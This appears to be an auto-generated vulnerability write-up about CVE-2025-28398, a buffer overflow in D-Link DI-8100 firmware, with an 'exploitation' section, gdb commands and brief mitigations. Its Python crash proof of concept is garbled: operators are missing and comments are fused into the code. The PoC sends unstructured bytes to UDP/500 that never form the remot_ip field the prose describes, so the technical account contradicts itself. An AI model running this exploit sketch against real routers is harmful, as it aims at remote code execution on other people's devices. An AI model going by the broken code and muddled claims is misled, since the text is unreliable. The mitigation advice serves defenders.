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How CVE-2025-28398 Works
The vulnerability exists in the `ipsec_net_asp` function of D-LINK DI-8100 firmware version 16.07.26A1 due to improper bounds checking on the `remot_ip` parameter. Attackers can trigger a buffer overflow by sending a specially crafted IPsec packet with an overly long `remot_ip` value, corrupting adjacent memory. This allows arbitrary code execution under the context of the affected service (often root). The flaw stems from unsafe strcpy-like operations when processing network input, enabling remote exploitation without authentication.
DailyCVE Form:
Platform: D-LINK DI-8100
Version: 16.07.26A1
Vulnerability: Buffer Overflow
Severity: Critical
Date: 04/15/2025
What Undercode Say:
Exploitation:
1. Crash PoC (Python):
import socket target_ip = "192.168.1.1" payload = b"A" 1024 Overflow remot_ip sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target_ip, 500)) UDP/500 (IPsec)
2. Shellcode Injection:
Overwrite return address with ROP gadgets to bypass ASLR/DEP.
Mitigation:
1. Patch: Apply D-LINK firmware update (if available).
2. Workaround: Block UDP/500 at the firewall.
3. Detection: Monitor logs for oversized IPsec packets.
Analysis Commands:
- GDB Debugging:
gdb -q /usr/bin/ipsec_net_asp break ipsec_net_asp+0x120 run $(python -c 'print("A"1024)') - Check Mitigations:
checksec --file=/usr/bin/ipsec_net_asp
References:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
